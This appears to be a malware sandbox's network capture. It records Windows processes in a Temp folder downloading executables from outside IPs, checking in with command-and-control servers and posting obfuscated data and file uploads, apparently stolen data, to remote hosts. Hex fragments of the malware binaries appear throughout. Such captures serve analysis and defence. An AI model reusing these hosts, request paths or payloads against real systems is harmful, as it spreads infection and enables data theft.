Dec 16, 2024 13:17:17.117294073 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:16 GMT Content-Type: application/octet-stream Content-Length: 1822720 Last-Modified: Mon, 16 Dec 2024 11:36:47 GMT Connection: keep-alive ETag: "676010cf-1bd000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 d0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 6a 00 00 04 00 00 0b 36 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTgi@j6@M$a$$ $h@.rsrc$x@.idata $z@ $\|@adligwjc0O*~@fnzkdocei@.taggant0i"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49859	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:01.418169975 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 30 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016096001&unit=246122658369
Dec 16, 2024 13:17:02.726248026 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49860	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:02.838347912 CET	342	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:03.192172050 CET	344	OUT	Data Raw: 00 04 01 06 03 0f 04 06 05 06 02 01 02 06 01 01 00 00 05 0c 02 03 03 0a 07 07 0e 0c 06 0f 02 09 0f 02 05 0b 03 0c 03 02 0f 53 07 04 06 53 04 03 03 03 0c 0a 0d 00 07 06 04 01 07 02 06 00 04 58 03 0a 0a 0f 04 0f 04 51 0f 00 0f 05 0f 07 0c 01 05 0d Data Ascii: SSXQ\R\L}T\|cyZtmLvKcU\|lX]cRU\~pw[x\|pY{`fmhAt^o^~_~V@BxSz~Ly
Dec 16, 2024 13:17:03.919656992 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:04.186968088 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FN8Z0BjaNqjCsCk8YmdacbXp5pqim4ZdayGRslcwA0IyjlhJpZKqnCG5JHCQd2zgmi%2Fn7%2Bp0rxFwgEIqyFTQ6vGj%2FbVjchw3akzY5hlS03cZ7h0XlOk3P131BIpWPBETcZaPfIqd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9bae8c3c4376-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3048&min_rtt=1717&rtt_var=3306&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=686&delivery_rate=118065&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 35 34 38 0d 0a 56 4a 7d 58 7b 54 63 01 78 72 7c 05 68 62 60 59 69 77 5a 53 7c 70 62 54 79 5d 7c 42 7d 5b 6f 5a 76 70 61 08 7b 72 79 49 61 58 5a 48 7e 71 78 01 55 4b 71 40 77 5b 7c 58 7d 72 5c 5d 7c 77 6a 0b 7b 48 6b 55 7e 5d 5e 5b 61 5b 75 41 60 61 61 49 7c 62 7d 5a 7d 0a 73 52 7d 49 55 01 76 5c 7b 06 7c 5b 6d 04 69 5e 6a 5f 78 01 68 4c 7b 67 73 58 7b 7d 7f 04 6d 71 7f 5a 6f 60 7a 06 7f 70 7f 5a 6f 49 52 49 6a 4c 7c 5d 76 4f 64 04 7a 51 41 5b 7c 77 55 51 7c 07 62 50 61 52 70 02 6c 6c 7c 4b 74 70 71 52 79 4f 6d 00 7e 42 71 5e 7a 71 72 02 76 60 67 01 61 4f 7c 03 74 5f 66 50 7e 5d 7a 06 77 62 6d 05 76 66 74 09 7e 6f 76 5c 60 6f 68 04 7c 60 7c 06 78 6f 64 5a 6c 5e 66 03 7c 6d 77 51 77 01 7f 5e 7e 62 76 09 7e 6e 7f 4f 7b 7d 72 05 7e 72 5b 06 7b 5d 46 51 6b 52 78 09 7f 63 74 42 69 64 62 4e 78 54 64 5a 78 62 5a 46 68 4f 5e 5f 7c 77 73 0c 7c 4e 65 40 79 70 74 04 7e 62 67 5a 60 4d 71 51 7b 5c 79 07 75 76 5a 4a 7d 66 70 06 7f 76 5f 08 76 62 7b 49 7c 5c 53 05 7c 59 62 0b 78 66 7c 0b 7e 63 55 03 75 72 71 06 76 [TRUNCATED] Data Ascii: 548VJ}X{Tcxr\|hb`YiwZS\|pbTy]\|B}[oZvpa{ryIaXZH~qxUKq@w[\|X}r\]\|wj{HkU~]^[a[uA`aaI\|b}Z}sR}IUv\{\|[mi^j_xhL{gsX{}mqZo`zpZoIRIjL\|]vOdzQA[\|wUQ\|bPaRpll\|KtpqRyOm~Bq^zqrv`gaO\|t_fP~]zwbmvft~ov\`oh\|`\|xodZl^f\|mwQw^~bv~nO{}r~r[{]FQkRxctBidbNxTdZxbZFhO^_\|ws\|Ne@ypt~bgZ`MqQ{\yuvZJ}fpv_vb{I\|\S\|Ybxf\|~cUurqvqy~az}Rl}wgJu_{r_I\|`i{w`{whMymczLdxcf\|`^yg`~Lo@ualH~BU}gp@}qSuBlLxBtw`nz_eJ}\|~N{_TKvM{Jwad
Dec 16, 2024 13:17:04.187047005 CET	920	IN	Data Raw: 02 77 71 72 09 7f 5e 50 40 74 62 71 4c 77 65 78 0a 7f 42 69 4c 76 7c 5a 07 7f 4d 70 06 7b 6c 5d 02 7b 5e 66 44 7c 6d 7c 4e 77 49 70 07 7d 4c 7e 42 7c 6d 5d 40 78 7d 50 41 7e 62 69 40 7c 4e 78 08 7f 42 7c 0d 7e 70 74 0c 7e 59 7a 07 78 6d 7f 49 78 Data Ascii: wqr^P@tbqLwexBiLv\|ZMp{l]{^fD\|m\|NwIp}L~B\|m]@x}PA~bi@\|NxB\|~pt~YzxmIx\hK\|qcJ}Ic@\|NWOzc^~blHtcezqquHx~X\|~fS@w\Y\|\WYPyfx~swu\_wa}J_bF}l\|~gcua{bm~p_xIlMygZL{}FzLRxcv{]NZxto^ibxZwbd}\|xYkgt\|OywltloxFcc~yXaG~B
Dec 16, 2024 13:17:04.436253071 CET	318	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 384 Expect: 100-continue
Dec 16, 2024 13:17:04.750546932 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:04.750822067 CET	384	OUT	Data Raw: 58 57 43 57 59 5a 54 5e 5d 5a 59 53 57 59 5a 52 5a 55 5f 55 51 5e 52 45 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XWCWYZT^]ZYSWYZRZU_UQ^REXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ +)$0<X33_"?9:X<7V%>X""7Z*8"F"#Y ,
Dec 16, 2024 13:17:05.227133036 CET	957	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FWhSiNRJM85i5j8WiIr7qnsyffd%2FgzGeknMToYWruiDQObDnkLeQ4vdjSIVUPhoR04bVC%2FZbVWkQPgDKXAjiVuIUDhF7%2BS6dwhfmqEpi6XMQiOu8yL9P4vTwPqzOTXc023fic0zQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9bb3b9524376-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5664&min_rtt=1571&rtt_var=7711&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2206&recv_bytes=1388&delivery_rate=2680538&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 3a 0f 25 2d 3e 5b 37 10 06 0f 3e 2c 2c 1e 27 0d 25 5d 3b 3c 2b 18 26 0a 2e 5b 32 31 39 13 25 34 05 5b 23 31 2b 08 33 57 34 57 25 27 23 5d 01 1b 27 43 27 00 39 05 2b 01 25 04 30 30 36 41 31 2e 20 1a 26 1d 2c 56 31 30 37 1f 35 3b 36 10 3b 32 25 03 3c 3f 24 06 2d 20 3e 04 20 2e 21 52 0d 13 22 16 27 38 3d 01 33 31 16 00 34 0d 3f 5a 22 42 34 0e 33 02 09 19 31 2a 3f 05 30 3f 2d 03 25 16 27 5f 3d 06 3a 1d 20 0c 3c 1e 3c 3e 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98:%->[7>,,'%];<+&.[219%4[#1+3W4W%'#]'C'9+%006A1. &,V1075;6;2%<?$- > .!R"'8=314?Z"B431*?0?-%'_=: <<> R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49862	31.41.244.11	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:03.576046944 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 13:17:04.892644882 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:04 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 16, 2024 13:17:04.892659903 CET	1236	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3D$tlA
Dec 16, 2024 13:17:04.892673016 CET	1236	IN	Data Raw: 3b f3 74 06 8b 06 56 ff 50 08 33 c0 40 eb 25 e8 a7 fe ff ff 8d 4d e0 8b f8 e8 bb 0e 01 00 8b 06 56 ff 50 08 8b c7 eb 0c 3b f3 74 06 8b 06 56 ff 50 08 33 c0 5e 5f 5b c9 c3 56 8b f1 c7 46 04 60 c3 41 00 83 66 08 00 c7 06 34 a5 41 00 c7 46 04 24 a5 Data Ascii: ;tVP3@%MVP;tVP3^_[VF`Af4AF$AfNf$N(^Uh$AuYYtEP#UPQ3hAudYYu@]Vv({F$YtPQvzvYtVP^l$
Dec 16, 2024 13:17:04.892730951 CET	1236	IN	Data Raw: 7d c4 0f 84 d0 02 00 00 66 83 7d c4 08 0f 85 c5 02 00 00 ff 75 cc 8d 4d f0 e8 76 f8 ff ff 8d 45 f0 50 8d 46 10 50 8d 45 e4 50 8d 5e 28 e8 1f fc ff ff 83 c4 0c 50 8b cb e8 90 f8 ff ff ff 75 e4 e8 b6 76 01 00 39 7d 14 59 0f 85 6f 02 00 00 8b 46 0c Data Ascii: }f}uMvEPFPEP^(Puv9}YoFURjuf}f}PQ;EtMu{v}Y^f9}u~@-f}t jeVPMXuFvY,EF@FURjuPQ;Eu3f9}URjuF<F
Dec 16, 2024 13:17:04.892745018 CET	896	IN	Data Raw: a2 41 00 8b f8 3b fe 74 33 56 6a 01 6a 01 57 ff 15 a4 a2 41 00 56 56 56 8d 45 e4 50 ff 15 a8 a2 41 00 8d 45 e4 50 ff 15 ac a2 41 00 6a 01 57 ff 15 b0 a2 41 00 57 ff 15 b4 a2 41 00 5f 5e c9 c3 53 ff 74 24 08 ff 15 94 a2 41 00 8b d8 85 db 75 02 5b Data Ascii: A;t3VjjWAVVVEPAEPAjWAWA_^St$Au[VW\|$Wt$A5AWSWS_3^@[UDSVWjpA5XAAPuuSuhuuSt&utWS\AWS`AtPdAz=Auo5h
Dec 16, 2024 13:17:04.892757893 CET	1236	IN	Data Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33 Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
Dec 16, 2024 13:17:04.892770052 CET	1236	IN	Data Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B\|2_^[Ar91\|S\$VWu33\|$Gt$P$AtF;w\|3_^[t3GVt$W39~~(Ft$P$AujWPOG;~
Dec 16, 2024 13:17:04.892781973 CET	448	IN	Data Raw: 37 00 89 75 f4 e8 ec fd ff ff 57 e8 ef 64 01 00 59 5f 8b 45 08 5e 5b c9 c2 0c 00 53 56 8b 74 24 0c 57 8b f9 8b 47 04 39 06 7e 02 89 06 8b 5c 24 14 53 e8 d0 e6 ff ff 8b 06 50 03 c3 50 8b cf e8 ec fa ff ff 5f 5e 5b c2 08 00 8b 44 24 08 ff 30 8b 44 Data Ascii: 7uWdY_E^[SVt$WG9~\$SPP_^[D$0D$0YY@W\|$D$xt.SVpFPVPVSjt$,8Af$A^G[_USVuE39Xt2WxS?ESAPQNPWuSuA
Dec 16, 2024 13:17:04.892941952 CET	1236	IN	Data Raw: 89 5d f0 eb 03 8b 7d 08 8b 07 8d 4d e4 51 b9 00 10 00 00 2b ce 51 8d 8c 35 e0 ef ff ff 51 57 ff 50 0c 85 c0 0f 85 ca 00 00 00 8b 45 e4 3b c3 0f 84 bf 00 00 00 03 f0 8d 85 e0 ef ff ff 33 ff 89 45 f8 38 5d ff 8b c6 74 3d 2b 45 e8 3b f8 77 60 ff 75 Data Ascii: ]}MQ+Q5QWPE;3E8]t=+E;w`uuubE:EtuMvGE+E;w#uuubuEEE+}V=]PP<A9]w}"M39Y
Dec 16, 2024 13:17:04.892952919 CET	1236	IN	Data Raw: 01 50 50 8b cf e8 97 f6 ff ff 50 ff 74 24 18 ff 15 c4 a2 41 00 8b 07 66 83 24 70 00 89 77 04 8b c7 5f 5e c3 55 8b ec 83 ec 74 53 56 8b 75 08 57 6a 40 8d 45 8c 50 56 ff 15 9c a2 41 00 85 c0 74 49 68 f8 a5 41 00 8d 45 8c 50 ff 15 48 a1 41 00 85 c0 Data Ascii: PPPt$Af$pw_^UtSVuWj@EPVAtIhAEPHAu6jV\|Au)EVPvjhAutu]Y3_^[VA3;EthAhAEPVYYVAhAE+ESSWuPE+EPuuhPhAh
Dec 16, 2024 13:17:05.012820005 CET	1236	IN	Data Raw: 04 46 89 75 fc 68 e9 fd 00 00 8d 45 e0 50 8d 45 bc 50 e8 e4 f4 ff ff 83 c4 0c 50 8d 4d b0 e8 46 db ff ff ff 75 bc e8 6c 59 01 00 8d 45 b0 50 e8 c5 f7 ff ff 59 59 68 c4 a6 41 00 ff 75 a4 ff 15 24 a1 41 00 85 c0 75 14 6a 3d ff 75 b0 e8 6e ed 00 00 Data Ascii: FuhEPEPPMFulYEPYYhAu$Auj=unYY39AAt&6AP6u4At9u9u Suu;tuHMEP?MM!iuX+uuuuW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49868	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:05.905319929 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1940 Expect: 100-continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49869	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:06.042649984 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:06.397727013 CET	1060	OUT	Data Raw: 58 57 43 51 5c 5f 54 5b 5d 5a 59 53 57 58 5a 50 5a 56 5f 5b 51 59 52 44 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XWCQ\_T[]ZYSWXZPZV_[QYRDXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ _?Y)=8$#8X$=7 :7:);1!%=&7'"F"#Y (
Dec 16, 2024 13:17:07.128257990 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:07.381834984 CET	808	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oWQkoEWVaAOOOmvTv1a8hCJpjIzBDI42eGblCvDptZXuRfL%2F6L5T%2B1moD5hAhUtG8oVl0gDpjKe%2Bl5hfnE29Xzf8UOC6%2BN7yAkXYFGb63wqy9RGgDceo7L07Kj7SywbIlxu0qC%2FH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9bc29d663344-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4607&min_rtt=1997&rtt_var=5970&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=63808&cwnd=208&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49875	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:07.845479965 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:17:08.201998949 CET	1060	OUT	Data Raw: 58 55 46 56 59 50 51 58 5d 5a 59 53 57 5d 5a 53 5a 51 5f 5e 51 5c 52 48 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XUFVYPQX]ZYSW]ZSZQ_^Q\RHXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#(,.W*#\00^$-/Z#8_:;_<8 $">5"$,="F"#Y <
Dec 16, 2024 13:17:08.930604935 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:09.167170048 CET	804	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HdnrQB9Br1Anx%2Bpn2Zs0L9CZwXoifJA%2BZDkQnD7YqFnH%2FeqV9DLwfxSNLhK8ReiNvoFVAOhDYo2wXwpodwLsgrUSAWgNEVhDacBrku05BvaH0iytkVkjCAkOYptBZdyZi9IQdVzP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9bcdd925de92-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3626&min_rtt=1656&rtt_var=4561&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=83826&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49881	185.215.113.206	80	1012	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:10.752186060 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 